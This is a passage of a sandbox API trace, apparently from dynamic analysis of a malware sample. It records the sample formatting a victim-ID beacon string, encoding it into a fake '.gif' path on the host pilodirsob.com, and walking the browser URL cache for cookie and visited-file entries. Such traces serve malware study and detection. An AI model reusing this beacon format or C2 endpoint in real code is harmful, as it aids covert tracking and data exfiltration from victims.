hTemplateFile=0x0) returned 0x6f8 [0096.118] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4e4 [0096.118] WriteFile (in: hFile=0x6f8, lpBuffer=0x9c7f700*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9c7f6e8, lpOverlapped=0x9c7f6a0 | out: lpBuffer=0x9c7f700*, lpNumberOfBytesWritten=0x9c7f6e8*=0xc, lpOverlapped=0x9c7f6a0) returned 1 [0096.122] CloseHandle (hObject=0x4e4) returned 1 [0096.122] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4e4 [0096.122] ReadFile (in: hFile=0x6f8, lpBuffer=0x9c7f6f0, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9c7f6d8, lpOverlapped=0x9c7f690 | out: lpBuffer=0x9c7f6f0*, lpNumberOfBytesRead=0x9c7f6d8*=0xc, lpOverlapped=0x9c7f690) returned 1 [0096.123] CloseHandle (hObject=0x4e4) returned 1 [0096.123] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4e4 [0096.123] ReadFile (in: hFile=0x6f8, lpBuffer=0x9a90820, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x9c7f6d8, lpOverlapped=0x9c7f690 | out: lpBuffer=0x9a90820, lpNumberOfBytesRead=0x9c7f6d8*=0x0, lpOverlapped=0x9c7f690) returned 0 [0096.123] GetLastError () returned 0xe9 [0096.123] CloseHandle (hObject=0x4e4) returned 1 [0096.123] CloseHandle (hObject=0x6f8) returned 1 [0096.123] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a90820 | out: hHeap=0x9770000) returned 1 [0096.123] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x800) returned 0x9a90820 [0096.123] GetTickCount () returned 0x25169 [0096.123] wsprintfA (in: param_1=0x9a90820, param_2="soft=1&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x&guid=%08x%08x%08x%08x" | out: param_1="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f9e9&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 127 [0096.123] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11) returned 0x9b6dc30 [0096.123] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x800) returned 0x9a91030 [0096.123] GetTickCount () returned 0x25169 [0096.123] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x13) returned 0x9b6dd20 [0096.123] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x7) returned 0x9b6dd40 [0096.123] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5) returned 0x9b6dd60 [0096.123] lstrlenA (lpString="%s=%s&") returned 6 [0096.123] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11) returned 0x9770f50 [0096.123] sprintf (in: _Dest=0x9770f50, _Format="%s=%s&" | out: _Dest="uhrg=gbeicj&") returned 12 [0096.123] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dd60 | out: hHeap=0x9770000) returned 1 [0096.123] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dd40 | out: hHeap=0x9770000) returned 1 [0096.123] lstrlenA (lpString="uhrg=gbeicj&") returned 12 [0096.123] lstrlenA (lpString="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f9e9&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 127 [0096.123] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x8c) returned 0x9b6ff10 [0096.124] strcpy (in: _Dest=0x9b6ff10, _Source="uhrg=gbeicj&" | out: _Dest="uhrg=gbeicj&") returned="uhrg=gbeicj&" [0096.124] lstrcatA (in: lpString1="uhrg=gbeicj&", lpString2="soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f9e9&guid=ea61ad9b12ba194535a941e1b6b4241f" | out: lpString1="uhrg=gbeicj&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f9e9&guid=ea61ad9b12ba194535a941e1b6b4241f") returned="uhrg=gbeicj&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f9e9&guid=ea61ad9b12ba194535a941e1b6b4241f" [0096.127] lstrlenA (lpString="uhrg=gbeicj&soft=1&version=300054&user=c1bfad56d6eccbb57e3f355780659e32&server=12&id=1000&crc=114f9e9&guid=ea61ad9b12ba194535a941e1b6b4241f") returned 139 [0096.127] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x90) returned 0x9a6e7b0 [0096.127] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x90) returned 0x9a6e850 [0096.136] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e7b0 | out: hHeap=0x9770000) returned 1 [0096.136] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x120) returned 0x9a6e8f0 [0096.136] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e850 | out: hHeap=0x9770000) returned 1 [0096.136] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ff10 | out: hHeap=0x9770000) returned 1 [0096.137] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrTrimA") returned 0x7fefd5f06a4 [0096.138] StrTrimA (in: psz="ALm9doLlVIZDvXXaVPSD5NUG9gIRqJdLNsZhuaaCEFWzkyoqKj9pFw3rOHHUnw3eVqlH8JMBbYM6sRsgoL7b6mouZxBYWQozhPbYbk/E3f9dQnckJqipAjCt/wt0XfhOSi4n4SvmuG4+sfmf+X9cdW7uCekL9qzb//SyLHWG9lwOh0h12G3w93FzjEbcw2TY\n\r", pszTrimChars="\r\n=" | out: psz="ALm9doLlVIZDvXXaVPSD5NUG9gIRqJdLNsZhuaaCEFWzkyoqKj9pFw3rOHHUnw3eVqlH8JMBbYM6sRsgoL7b6mouZxBYWQozhPbYbk/E3f9dQnckJqipAjCt/wt0XfhOSi4n4SvmuG4+sfmf+X9cdW7uCekL9qzb//SyLHWG9lwOh0h12G3w93FzjEbcw2TY") returned 1 [0096.138] lstrlenA (lpString="ALm9doLlVIZDvXXaVPSD5NUG9gIRqJdLNsZhuaaCEFWzkyoqKj9pFw3rOHHUnw3eVqlH8JMBbYM6sRsgoL7b6mouZxBYWQozhPbYbk/E3f9dQnckJqipAjCt/wt0XfhOSi4n4SvmuG4+sfmf+X9cdW7uCekL9qzb//SyLHWG9lwOh0h12G3w93FzjEbcw2TY") returned 192 [0096.138] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x241) returned 0x9a91840 [0096.138] _snprintf (in: _Dest=0x9a918a6, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0096.138] _snprintf (in: _Dest=0x9a918ba, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0096.138] _snprintf (in: _Dest=0x9a918cf, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0096.138] _snprintf (in: _Dest=0x9a918d6, _Count=0x4, _Format="%c%02X" | out: _Dest="_2B") returned 3 [0096.138] _snprintf (in: _Dest=0x9a918e8, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0096.138] _snprintf (in: _Dest=0x9a918eb, _Count=0x4, _Format="%c%02X" | out: _Dest="_2F") returned 3 [0096.138] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e8f0 | out: hHeap=0x9770000) returned 1 [0096.138] lstrlenA (lpString="ALm9doLlVIZDvXXaVPSD5NUG9gIRqJdLNsZhuaaCEFWzkyoqKj9pFw3rOHHUnw3eVqlH8JMBbYM6sRsgoL7b6mouZxBYWQozhPbYbk_2FE3f9dQnckJqipAjCt_2Fwt0XfhOSi4n4SvmuG4_2Bsfmf_2BX9cdW7uCekL9qzb_2F_2FSyLHWG9lwOh0h12G3w93FzjEbcw2TY") returned 204 [0096.139] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xe6) returned 0x9a6e7b0 [0096.139] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0096.139] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770f50 | out: hHeap=0x9770000) returned 1 [0096.139] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dd20 | out: hHeap=0x9770000) returned 1 [0096.139] StrTrimA (in: psz="ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY", pszTrimChars="\r\n" | out: psz="ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY") returned 0 [0096.142] lstrlenA (lpString="/images/") returned 8 [0096.142] lstrlenA (lpString="ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY") returned 217 [0096.142] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xe2) returned 0x9a6e8a0 [0096.142] lstrcpyA (in: lpString1=0x9a6e8a0, lpString2="/images/" | out: lpString1="/images/") returned="/images/" [0096.142] lstrcatA (in: lpString1="/images/", lpString2="ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY" | out: lpString1="/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY") returned="/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY" [0096.142] lstrcpyA (in: lpString1=0x9a6e7b0, lpString2=".gif" | out: lpString1=".gif") returned=".gif" [0096.142] lstrcpyA (in: lpString1=0x9a91030, lpString2="pilodirsob.com" | out: lpString1="pilodirsob.com") returned="pilodirsob.com" [0096.142] lstrcatA (in: lpString1="pilodirsob.com", lpString2="/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY" | out: lpString1="pilodirsob.com/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY") returned="pilodirsob.com/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY" [0096.142] lstrcatA (in: lpString1="pilodirsob.com/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY", lpString2=".gif" | out: lpString1="pilodirsob.com/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif") returned="pilodirsob.com/images/ALm9doLlVIZDvXXaVPSD5NU/G9gIRqJdLN/sZhuaaCEFWzkyoqKj/9pFw3rOHHUnw/3eVqlH8JMBb/YM6sRsgoL7b6mo/uZxBYWQozhPbYbk_2FE3f/9dQnckJqipAjCt_2/Fwt0XfhOSi4n4Sv/muG4_2Bsfmf_2BX9cd/W7uCekL9q/zb_2F_2FSyLHWG9lwOh0/h12G3w93FzjEbcw/2TY.gif" [0096.142] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1000) returned 0x9a91840 [0096.142] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x7feff340000 [0096.143] GetProcAddress (hModule=0x7feff340000, lpProcName="FindFirstUrlCacheEntryA") returned 0x7feff3656f0 [0096.143] FindFirstUrlCacheEntryA (in: lpszUrlSearchPattern=0x0, lpFirstCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpFirstCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 0x1 [0096.144] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrStrIA") returned 0x7fefd5c5a1c [0096.144] StrStrIA (lpFirst="Cookie:aetadzjz@live.com/", lpSrch="pilodirsob.com") returned 0x0 [0096.144] GetProcAddress (hModule=0x7feff340000, lpProcName="FindNextUrlCacheEntryA") returned 0x7feff365aac [0096.144] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.144] StrStrIA (lpFirst="Cookie:aetadzjz@g.live.com/", lpSrch="pilodirsob.com") returned 0x0 [0096.144] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.145] StrStrIA (lpFirst="Cookie:aetadzjz@google.de/", lpSrch="pilodirsob.com") returned 0x0 [0096.145] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.145] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/2_3-k08.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.145] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.145] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/K8sS5cZiPNkVmh.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.145] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.146] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/A3Y6ZiC%206H.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.146] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.146] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/atEPrko.doc", lpSrch="pilodirsob.com") returned 0x0 [0096.146] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.146] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/-lBtKjvttR6.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.146] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.146] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/qqiIPehxsG7oP4.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.146] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.146] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/lNPXPBJbh2z.docx", lpSrch="pilodirsob.com") returned 0x0 [0096.146] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.146] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/56Gkydp.pps", lpSrch="pilodirsob.com") returned 0x0 [0096.146] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.146] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Hof4UNjCwmniuVp7kzhw.csv", lpSrch="pilodirsob.com") returned 0x0 [0096.146] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.146] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/XE7__nVIHDZVBiwh.doc", lpSrch="pilodirsob.com") returned 0x0 [0096.146] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.146] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Gb_F43Mr7o.png", lpSrch="pilodirsob.com") returned 0x0 [0096.146] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.147] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/jfmD.ods", lpSrch="pilodirsob.com") returned 0x0 [0096.147] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.147] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/q05zZ.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.147] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.147] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/zv2AFyzuzNau.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.147] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.147] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/oo8ZxMpOJAa2JZ1VYi.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.147] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.147] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gCHHeDPHfckaHd%20mlGMq.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.147] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.147] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/t%20JYhY.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.147] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.147] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/yV9LGB40R7.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.147] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.147] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/pqMkgf%20CmM/ofac5F-21ElrB1bmCw4.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.147] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.147] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/u_7c_imef.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.147] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.147] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/RkP2X0.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.147] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.147] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/1JIR6WH.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.148] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.148] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/dQCpeCQAd-tCOwn.docx", lpSrch="pilodirsob.com") returned 0x0 [0096.148] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.148] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/QrXE-vX97kmjH7JNQ.odp", lpSrch="pilodirsob.com") returned 0x0 [0096.148] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.148] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7C0Fj8t5ztl8.odp", lpSrch="pilodirsob.com") returned 0x0 [0096.148] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.148] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/dwVc1-CZ_s8dDnb6LtW.doc", lpSrch="pilodirsob.com") returned 0x0 [0096.148] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.148] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/U35Aw3DHkP_ua.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.148] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.148] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/t_6VwOesN9.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.148] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8 | out: lpNextCacheEntryInfo=0x9a91840, lpcbCacheEntryInfo=0x9c7f6b8) returned 1 [0096.148] 